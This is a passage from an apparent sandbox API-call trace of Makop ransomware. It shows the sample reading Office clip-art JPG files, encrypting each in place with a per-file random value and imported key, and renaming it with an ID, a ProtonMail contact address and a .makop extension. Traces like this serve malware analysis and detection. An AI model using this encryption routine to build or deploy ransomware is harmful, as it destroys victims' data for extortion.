CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0123.697] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0123.698] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.698] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xc056, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xc056, lpOverlapped=0x0) returned 1 [0123.700] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xc060, dwBufLen=0xc060 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xc060) returned 1 [0123.701] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.701] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xc060, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xc060, lpOverlapped=0x0) returned 1 [0123.701] CryptDestroyKey (hKey=0x48c7128) returned 1 [0123.701] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xc134, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.702] SetEndOfFile (hFile=0xf0) returned 1 [0123.709] GetProcessHeap () returned 0x48a0000 [0123.709] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0123.710] GetProcessHeap () returned 0x48a0000 [0123.710] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0123.710] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0123.710] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145272.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145272.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0123.711] CloseHandle (hObject=0xf0) returned 1 [0123.711] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5285, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145361.JPG", cAlternateFileName="")) returned 1 [0123.711] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG") returned 63 [0123.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145361.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0123.712] GetProcessHeap () returned 0x48a0000 [0123.712] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0123.712] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0123.713] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0123.713] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xb, lpOverlapped=0x0) returned 1 [0123.717] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0123.717] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0123.717] GetProcessHeap () returned 0x48a0000 [0123.717] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0123.717] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0123.717] CryptDestroyKey (hKey=0x48c7128) returned 1 [0123.718] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0123.718] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0123.718] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0123.718] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0123.718] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0123.718] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0123.719] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0123.719] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0123.719] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.719] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5285, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x5285, lpOverlapped=0x0) returned 1 [0123.721] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5290, dwBufLen=0x5290 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5290) returned 1 [0123.722] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.722] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5290, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5290, lpOverlapped=0x0) returned 1 [0123.722] CryptDestroyKey (hKey=0x48c7128) returned 1 [0123.722] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5364, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.722] SetEndOfFile (hFile=0xf0) returned 1 [0123.729] GetProcessHeap () returned 0x48a0000 [0123.730] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0123.730] GetProcessHeap () returned 0x48a0000 [0123.730] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0123.730] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0123.730] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145361.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145361.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0123.731] CloseHandle (hObject=0xf0) returned 1 [0123.731] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5c5e300, ftCreationTime.dwHighDateTime=0x1bdbf70, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5c5e300, ftLastWriteTime.dwHighDateTime=0x1bdbf70, nFileSizeHigh=0x0, nFileSizeLow=0x45cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145373.JPG", cAlternateFileName="")) returned 1 [0123.731] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG") returned 63 [0123.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145373.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0123.732] GetProcessHeap () returned 0x48a0000 [0123.733] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0123.733] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0123.733] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0123.733] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x5, lpOverlapped=0x0) returned 1 [0123.738] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0123.738] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0123.738] GetProcessHeap () returned 0x48a0000 [0123.738] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0123.738] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0123.738] CryptDestroyKey (hKey=0x48c7128) returned 1 [0123.738] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0123.738] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0123.738] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0123.739] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0123.739] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0123.739] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0123.739] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0123.739] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0123.739] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.740] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x45cb, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x45cb, lpOverlapped=0x0) returned 1 [0123.741] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x45d0, dwBufLen=0x45d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x45d0) returned 1 [0123.742] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.742] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x45d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x45d0, lpOverlapped=0x0) returned 1 [0123.742] CryptDestroyKey (hKey=0x48c7128) returned 1 [0123.742] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x46a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.742] SetEndOfFile (hFile=0xf0) returned 1 [0123.750] GetProcessHeap () returned 0x48a0000 [0123.750] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0123.750] GetProcessHeap () returned 0x48a0000 [0123.750] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0123.751] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0123.751] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145373.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145373.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0123.753] CloseHandle (hObject=0xf0) returned 1 [0123.753] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17a35900, ftCreationTime.dwHighDateTime=0x1bdbf72, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17a35900, ftLastWriteTime.dwHighDateTime=0x1bdbf72, nFileSizeHigh=0x0, nFileSizeLow=0x7c6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145669.JPG", cAlternateFileName="")) returned 1 [0123.753] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG") returned 63 [0123.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145669.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0123.754] GetProcessHeap () returned 0x48a0000 [0123.754] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0123.755] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0123.755] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0123.755] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0123.759] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0123.760] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0123.760] GetProcessHeap () returned 0x48a0000 [0123.760] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0123.760] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0123.760] CryptDestroyKey (hKey=0x48c7128) returned 1 [0123.760] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0123.760] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0123.760] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0123.761] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0123.761] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0123.761] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0123.761] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0123.761] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0123.761] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.761] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7c6a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7c6a, lpOverlapped=0x0) returned 1 [0123.763] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7c70, dwBufLen=0x7c70 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7c70) returned 1 [0123.764] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.764] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7c70, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7c70, lpOverlapped=0x0) returned 1 [0123.764] CryptDestroyKey (hKey=0x48c7128) returned 1 [0123.764] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7d44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.764] SetEndOfFile (hFile=0xf0) returned 1 [0123.772] GetProcessHeap () returned 0x48a0000 [0123.772] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0123.772] GetProcessHeap () returned 0x48a0000 [0123.772] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0123.772] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0123.773] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145669.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145669.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0123.774] CloseHandle (hObject=0xf0) returned 1 [0123.775] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a05b300, ftCreationTime.dwHighDateTime=0x1bdbf72, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a05b300, ftLastWriteTime.dwHighDateTime=0x1bdbf72, nFileSizeHigh=0x0, nFileSizeLow=0x8fd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145707.JPG", cAlternateFileName="")) returned 1 [0123.775] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG") returned 63 [0123.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145707.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0123.776] GetProcessHeap () returned 0x48a0000 [0123.776] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0123.776] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0123.776] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0123.776] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0123.780] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0123.780] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0123.781] GetProcessHeap () returned 0x48a0000 [0123.781] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0123.781] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0123.781] CryptDestroyKey (hKey=0x48c7128) returned 1 [0123.781] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0123.781] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0123.782] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0123.782] WriteFile (in: 